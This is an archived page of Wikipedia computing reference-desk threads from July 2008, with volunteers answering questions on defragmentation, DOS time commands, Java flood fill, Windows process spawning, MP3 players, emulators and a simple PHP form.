Fragmentation also depends on how recently you've defragmented the drive. If it is not fragmented at all, defrag will finish rather quickly. Other than stopping in the middle, there are two possible problems: It is possible (though very rare) that a good file will be moved to an area of the drive with a bad/failing sector. Then, the file won't be good anymore. This is not a defrag problem - it is a problem with the drive itself. If you have a program that opens a file and tries to write to it while it is being moved, it can cause a problem. This shouldn't happen because defrag locks the file while it moves, but some programmers may try to ignore this and write to a locked file anyway. Again, this is not a defrag problem. It is a programmer problem. -- kainaw™ 12:01, 14 July 2008 (UTC)

I just want to note that I've stopped defrags in the middle before on virtual drives (by stopping it with the program itself, not by turning the machine off or something dramatic) and it was fine—never any problems. If you resume the defrag later it speeds over the first half pretty quick. --98.217.8.46 (talk) 14:22, 14 July 2008 (UTC)

I can only confirm that. if you stop normally in Windows XP, your files will suffer no harm. Defrags are not brain surgery, the OS just takes the pieces of the files and put them together. Another story is probably if you are defragmenting Windows system files in an external HDD and cut the power off. In this late case, you'll mkae probably a mess from your OS. —Preceding unsigned comment added by Mr.K. (talk • contribs) 18:24, 14 July 2008 (UTC)

Windows's defragging on NTFS is extremely stable. It is a very safe proceedure. You can stop it at any time you want with no ill effects. Although I wouldn't recommend it you can pull the power plug from your computer in the middle of a degrag if you wanted to...for some reason. Sam's comments may be regarding FAT defragging, which I don't know much about. KEEP IN MIND, if your hard disk is damaged defragging can make the situation worse. Just FYI. --mboverload@ 20:09, 14 July 2008 (UTC)

When in doubt, it is good practice to do a full scan (preferably boot time) before defragmenting. Defragmenting NTFS should be much faster than defragmenting in FAT32. (Yeah, I know. I used to be, and probably am, biased in favor of FAT32 but that has nothing to do with the question.) Kushal (talk) 02:52, 15 July 2008 (UTC)

PS3 multizone DVD player?

The PS3 can be used as an upscaling DVD player. It is also sold region locked. How can I make the PS3 play DVDs from other regions? F (talk) 11:41, 14 July 2008 (UTC)

Upscaling doesn't really worth the hype it has. The truth is your TV already does it when you feed the signal from your normal DVD player to it, and it doesn't increase the amount of detail. --antilived^{T | C | G} 12:52, 14 July 2008 (UTC)

Well, it's not worth the hype, I agree, but I disagree that your TV already does it. If I play DVDs from my PS2 on my progressive scan TV, there's some diamond shaped "watermarks". Other than that, it's true. --Wirbelwindヴィルヴェルヴィント (talk) 17:22, 14 July 2008 (UTC)

I have to disagree. Upscaling is a very important technology and the PS3 is one of the best. Perhaps you are refering to the hype that upscaling makes DVDs look like Bluray, which is of course bull. --mboverload@ 20:10, 14 July 2008 (UTC)

It probably is not very easy to do it (or someone at Sony can anticipate a bad rap). Depending on where you live, it might be legal to use HandBrake to convert it into another format and play the movies so. I wish I could help more but my knowledge of Regional lockout and DVD region code is severely limited. Kushal (talk) 02:48, 15 July 2008 (UTC)

Excel on a Mac

On a Mac, how do I set Excel so that instead of displaying the data as it will print, ie with everything broken down into individual A4 pages, it displays as one continuous sheet with no breaks? Thanks 92.2.122.213 (talk) 13:42, 14 July 2008 (UTC)

View > Normal. --98.217.8.46 (talk) 14:18, 14 July 2008 (UTC)

What time is it ?

Resolved

 – StuRat (talk) 02:51, 15 July 2008 (UTC)

Is there a Windows line command (MSDOS) which will tell me the current time without prompting me to change the clock as "TIME" does ? StuRat (talk) 15:47, 14 July 2008 (UTC)

"TIME /T" seems to do what you require. TSP (talk) 15:54, 14 July 2008 (UTC)

Or DATE /T Mankerranker (talk) 15:55, 14 July 2008 (UTC)

Those don't work for me (under Windows 98). They just say "Invalid time. Enter new time:" (or the same thing with dates). They do work on my Windows XP computer, however. So, is there a way to do this under Windows 98 ? I'm more familiar with Unix, so I don't quite know how to do this in Windows. StuRat (talk) 16:23, 14 July 2008 (UTC)

It would be pretty trivial to write such a program, no? --98.217.8.46 (talk) 17:35, 14 July 2008 (UTC)

Not that trivial, especially if I want it to run on different Windows versions and show the same result. Is there a way to feed a return character to the time command ? Maybe something like "^M" > TIME ? Or maybe there's an environment variable, so I could do something like "echo $TIME" ? StuRat (talk) 18:40, 14 July 2008 (UTC)

I think you can go (verbatim): echo. | time -- Finlay McWalter | Talk 19:13, 14 July 2008 (UTC)

Thanks. That's quite an improvement. However, even though it doesn't wait for the user to hit enter anymore, it still displays a second line with "Enter new time:" on it. Is there a way to only display the first line with the time ? (Something equivalent to the Unix "cut" command ?) StuRat (talk) 20:16, 14 July 2008 (UTC)

Try this, probably best if it's in a batch file: @ECHO. | time | find "The current time is" --LarryMac | Talk 20:36, 14 July 2008 (UTC)

Well, the @ at the beginning did something really bad, locking up my MS-DOS session so I had to use the Task Manager to kill it, which left the current executable hosed up such that I no longer have permission to delete it. What was that supposed to do ? However, once I eliminated that and changed the wording on the find string (they apparently changed the text slightly from "Current time is" to "The current time is" from Windows 98 to Windows XP), it worked great:

ECHO. | time | find "urrent time is"

Thanks ! StuRat (talk) 23:20, 14 July 2008 (UTC)

@ just means that the command line won't display in a batch file. (so you wouldn't see the ECHO line itself, just the result.) My bet is that it just didn't work for some reason (maybe due to the "current time" thing) but you couldn't see that because of the @ character. You could probably re-add it to your current line and have it work fine. (Or not, it's your preference.) --98.217.8.46 (talk) 00:53, 15 July 2008 (UTC)

I see. It seems safer to leave it off. Thanks again. StuRat (talk) 02:44, 15 July 2008 (UTC)

An alternative to "echo. | time" is "time < nul". --Bavi H (talk) 00:58, 15 July 2008 (UTC)

No, that doesn't work in Windows 98. It produces a large number of ^A characters on the "Enter new time:" line, and then locks up the MS-DOS window. StuRat (talk) 02:44, 15 July 2008 (UTC)

Jayski's Silly Season Site

Hi My name is Paul Ogilvie and I believe that you either own or control the Jayski site that is owned by ESPN and run by Jay ?(He is the one that started the site). I have been able to view the site until Friday? have tried everything. the last test told me to contact the owner of the site to find out why it is not available to me. Some of my friends can get on but I have been stopped How do it get back on the Site? Thank You Paul email removed —Preceding unsigned comment added by 166.128.97.181 (talk) 17:11, 14 July 2008 (UTC)

This is the reference desk of Wikipedia, the free encyclopedia. You are talking to Wikipedia volunteers. No-one here owns this website, and I doubt anyone knows anything much about it. You can contact Jayski at jayski at jayski dot com. Algebraist 17:26, 14 July 2008 (UTC)

Maybe this nifty tool can help you in the future. Kushal (talk) 02:41, 15 July 2008 (UTC)

Implementing a flood fill more efficiently

In regard to the Java flood fill code I posted above, the recursive approach gets very inefficient as the picture size progresses. In fact, changing the maximum size from 160×120 to 320×240 makes the JVM stack overflow because all of the recursive method calls. Is there a way to make the algorithm use less recursion but still function the same? JIP | Talk 17:16, 14 July 2008 (UTC)

You don't need any recursion. Write the code with a store (it's typically a stack) and just push values to be processed to it:

 workpile = empty
 workpile.push (startX, startY)
 while workpile isn't empty:
   (x,y) = workpipe.pop()
   paintPixel(x,y)
   // push an entry for each adjacent pixel that needs painting
   if needsPainting(x-1,y): workpile.push(x-1,y)
   if needsPainting(x,y-1): workpile.push(y-1)   
   // etc

If you code this properly, your stack is of 32bit ints rather than full java method call frames, and so should be many times smaller.

Fun hack: there's no reason, with this method, why your fill has to proceed from a single seed point. You could specify an additional floodfill api that takes multiple seeds, and has multiple workpiles but still considers them all serially in the same while loop, and the effect would be that several fills would run concurrently, which should look cool. You could exploit multiple processors by extending this to several genuinely concurrent filler threads, but you'd need to supply additional constraints to stop them from fighting (such as "thread A only paints x values between 0 and 50". I doubt that, for images of the size and type you'd normally fill, if the overhead and the bother would yield worthwhile results.

Better yet, you can exploit some reasonable shortcuts based on what you're expecting to fill. If you're expecting to fill with large runs of horizontal or vertical pixels (that is, you're not filly horribly convoluted snakey patterns) then instead of recursing to go right, write code that looks like this:

 if rightPixel needs painting:
   scan rightward until you find a stopper: for each, paint that pixel and push any adjacent pixels that need painting

Hmm, on looking (after the fact) at flood fill they've mostly got all the stuff above already. -- Finlay McWalter | Talk 18:12, 14 July 2008 (UTC)

Thanks! I understand exactly what you're meaning. I just have to take the time to write the pseudocode out in Java. JIP | Talk 18:33, 14 July 2008 (UTC)

Incidentally if you're painting onto a surface that's currently being displayed (I forget the innards of Java2D, and you've not explained what exactly you're painting into - I don't think Java2D is synchronised) you incur a lot of penalties from synchronisation and refresh. If you can keep the image in a regular array, floodfill into that, and only shove that at the display API when you're done then you won't have those problems. And when you're accessing an array you're not having to call setPixel/getPixel methods to do stuff. -- Finlay McWalter | Talk 18:23, 14 July 2008 (UTC)

I am already doing that. The flood fill algorithm is done on an array of ints, not on a java.awt.Image. The image gets read into the array at the beginning and written back at the end. JIP | Talk 18:33, 14 July 2008 (UTC)

I fixed the algorithm, and now it's working perfectly. Thanks to you all. At first I was mystified because it kept making stripes into the image, but then I realised I had written image.getHeight() where I needed to write image.getWidth(), making the pixel value checking useless for non-square images. The next step is to fix fine-tune the needsPainting() method. A uniform threshold isn't going to work - lighter parts need higher thresholds and darker parts need lower ones. JIP | Talk 19:47, 14 July 2008 (UTC)

That's good. Y'know, if you're feeling industrious, the flood fill article could do with an animation. While it has graphics that show the algorithm per-pixel, it doesn't convey the macroscopic appearance of a flood fill on a convoluted shape so familiar to anyone who played Twin Kingdom Valley or The Hobbit. I figure you've done the hard part, and you could straightforwardly amend your program to:

• read Image:Canard.jpg (probably downscaled a bit)
• floodfill the body green from a seed somewhere on the wing
• for every pixel, emit a numbered image file
• use ImageMagick to turn them into an animated GIF (it's easy)

;) -- Finlay McWalter | Talk 20:08, 14 July 2008 (UTC)

MP3 Players

I looked at our list of MP3 players but can't find what I'm looking for. Is there a list out there of currently available MP3 players which behaves just like a USB drive when transfering music? (For example, I had an Archos player which used USB connections to transfer files, it's own internal software made a list of all the songs on the device through the FAT, I think, and required no extra software on the computer to transfer). Pluses for me would be 20GB+ HDD or maybe even 4~8GB+ of flash, and foreign language support. My Zen Vision M is a pain is the butt because it requires stupid software to transfer files (or SMP which I hate), can only play music through their own crappy software when connected to the computer, and since 90% of the songs on my player is Japanese with Japanese track titles, it's hard to scroll to any song because it sorts everything as after 'Z', so probably 75% of all my songs and artists are between Z and A when I try to find it. Any non-iPod players out there that'd fit my requirements? Even Zunes are ok. --Wirbelwindヴィルヴェルヴィント (talk) 17:17, 14 July 2008 (UTC)

In List of mp3 players, those with an MSC entry of "yes" (in the syncing and transfer section) implement the USB mass storage device class, which is USB-speak for "disk drive type thing". -- Finlay McWalter | Talk 18:16, 14 July 2008 (UTC)

Why do you dislike iPods so much? because they need special software to transfer music? --grawity 18:23, 14 July 2008 (UTC)

No need to interrogate the guy because he doesn't like a particular product. Perhaps he uses Linux. Perhaps he doesn't want custom software. Perhaps he is philosophically opposed to hardware with built-in encryption. Perhaps he doesn't like the interface. Perhaps he doesn't like the style of the device. (Apple's shiny, rounded look & feel is pretty over-exposed at the moment. It's even, dare I say, starting to seem old.) The point is, his question was already answered, what's the point of harassing him on his brand choice? APL (talk) 19:04, 14 July 2008 (UTC)

I would say grawity is right in asking that question. Do you suppose that the iPod will naturally evolve with everyone who don't want to use it for a particular reason stay muted? The OP is not compelled to answer and grawity is not a troll. Kushal (talk) 02:39, 15 July 2008 (UTC)

Spawn c++ processes in new console windows.

I'm using _spawnv(P_NOWAIT, "process.exe", my_args ); to spawn new processes but whenever I do, it appears in the same console window as the original program. Also, the first process will close prematurely if I use another _spawnv. How do I have each _spawnv process launch in a new console window? —Preceding unsigned comment added by 205.214.236.66 (talk) 18:31, 14 July 2008 (UTC)

You don't say what OS you're running on (I'm guessing windows from that .exe extension). If this were Unix (et al) you'd instead spawn another xterm (or whatever) process with your text-mode C++ app supplied as an argument to that. I'd guess that XP/Vista's cmd.exe can do the same, but I've been overoptimistic about Windows before. -- Finlay McWalter | Talk 18:40, 14 July 2008 (UTC)

I'm on XP, sorry. Based on the above, does anyone know of a command I can pass to the program to have it start in a new window, or can I do this indirectly through a batchfile maybe? —Preceding unsigned comment added by 205.214.236.66 (talk) 18:46, 14 July 2008 (UTC)

See what happens if you spawn ("cmd.exe","/c","process.exe",myargs) (per this). -- Finlay McWalter | Talk 18:56, 14 July 2008 (UTC)

Thanks, guys. It works best if the program writes then executes it's own batch file. —Preceding unsigned comment added by 205.214.236.66 (talk) 19:10, 14 July 2008 (UTC)

If you don't mind using the Win32 API instead of the standard C libraries, then CreateProcess (which is what the Windows implementation of spawn ultimately calls, anyway) lets you specify in its dwCreationFlags parameter CREATE_NEW_CONSOLE. CreateProcess gives you much finer-grained control over the new process than does spawn, and so is probably the better option anyway if you are running under Windows. KiwiBiggles (talk) 05:44, 15 July 2008 (UTC)

Making partitions and loosing data

If you make a new partition in an HDD, is there any risk of loosing data? —Preceding unsigned comment added by 84.79.111.175 (talk) 18:43, 14 July 2008 (UTC)

Yes. If the drive is currently all one partition with data, your partitioner program must be capable of moving data around to make empty space for the new partition. If not, it will simply truncate the existing partition and usually erase the file directory - making it an empty drive. -- kainaw™ 19:09, 14 July 2008 (UTC)

Take a look at List of partition utilities. If you follow the links and check the features, you will find that many or most have the ability to repartition drives while preserving data. -- Tcncv (talk) 02:03, 15 July 2008 (UTC)

Bagle (computer worm)

Which form of the Bagle has "Be Not Jealous"? Ericthebrainiac (talk) 18:58, 14 July 2008 (UTC)

The closest I could find was this one that includes the message "Dont get jealous!!" -- Tcncv (talk) 02:11, 15 July 2008 (UTC)

Problems with MAME32 and Nebula emulator

I have the MAME32 emulator and a few roms for it. Whenever I try and play a game, it loads the rom files correctly, but does not find these 4 files: sfix.sfx sp-s2.sp1 sm1.sm1 000-lo.lo

I searched online, and found a .zip file download that has these files in it. I put it in my rom folder and unzipped it, just as it said to, but the emulator is STILL not reading the files, even though I can see them right there in front of me.

I also have the Nebula NeoGeo emulator, and it experiences the same problems. In this emulator, though, it says I need the files: Neo-geo.rom ng-sfix.rom ng-sm1.rom ng-lo.rom

Here's an excerpt from the faq that comes with Nebula: "Q1. Can't load Neogeo games, Nebula says that neo-geo.rom is missing but I have it inside the game zip. A: Neo-geo.rom, ng-sfix.rom and ng-sm1.rom (and now ng-lo.rom) MUST be in a file called neogeo.zip in any of the rom directories you have configured. NG-LO.ROM file must be 64k (65536 bytes) and it's the same than the first 64K of the old 128k NG-LO.ROM"

I downloaded a .zip file named "neogeo.zip" but all it had in it was the 4 files needed for the MAME32 emulator (which is still not reading them). What exactly is my problem, here?! The Mighty KELP (talk) 20:59, 14 July 2008 (UTC)

Comodo firewall and McAfee security center

Hi all. I've just installed the Comodo firewall (replacing ZoneAlarm, which was acting up), but McAfee security centre keeps giving me the warning that "Outbound firewall is not installed on your computer". Is this just a case of the two applications not getting on together, or is Comodo not giving full protection? (I haven't changed any settings on the firewall since installation, btw) Thanks. 91.143.188.103 (talk) 21:18, 14 July 2008 (UTC)

Open mp3 in a new Winamp?

Hello. Is there a way to open an mp3 file in a new Winamp instance by double-clicking it by default? (It's really annoying that double-clicking an mp3 files makes the Winamp instance already running erase its whole frickin' playlist and replace it with the single mp3 file!) If this can't be done, I'm open to suggestions on other equally light-weight and unobtrusive players able to do this ^-^. Thanks in advance, Kreachure (talk) 22:17, 14 July 2008 (UTC)

What I do is have some other media player (usually Media Player Classic) set as my default mp3 player. That way I can have winamp running and never worry about the problem you've described. APL (talk) 23:55, 14 July 2008 (UTC)

Right click the file and select the option you need. If you have nothing else, you can always enqueue it. Kushal (talk) 03:24, 15 July 2008 (UTC)

July 15

What's wrong with this php

I have my php installed on this computer. The html and php are in the same folder. Here is the php page:

<?php
    $n=$_POST['n'];
    print "Your prime number is $n.";
    ?>

And here is the HTML page:

<html>
<head>
<title>Prime Number</title>
</head>
<body>
<form method="post" action="prime.php">
<input type="text" name="n" id="n"/>
<input type="submit" value="Submit" />
</form>
</body>
</html>

Whats wrong with it my PHP Designer said Undefined index n in C:\Users\Public\Public Documents\prime.php on line 2 Melab-1 (talk) 01:46, 15 July 2008 (UTC)

I'm not sure but try removing $n=$_POST['n'];. ---J.S (T/C/WRE) 03:12, 15 July 2008 (UTC) Nevermind. ---J.S (T/C/WRE) 03:21, 15 July 2008 (UTC)

Your PHP code is fine. The problem is on your server. What all did you install on your computer? You need an http server and php running to make this work. Trvr3307 (talk) 06:19, 15 July 2008 (UTC)

Backup of Windows files using Linux

I had a problem with my Windows installation and so I tried to access my data with Puppy Linux. I could copy the files, but as I try to open the pdf files, I receive an "Access denied" message as I try to open them in Windows.

How can I access these Windows files? —Preceding unsigned comment added by 83.40.8.91 (talk) 09:46, 15 July 2008 (UTC)

The problem happens only as I try to access the files under another Windows installation. If I try to access my pdf files under Linux the problem disappears. The same happens to directories of my own files.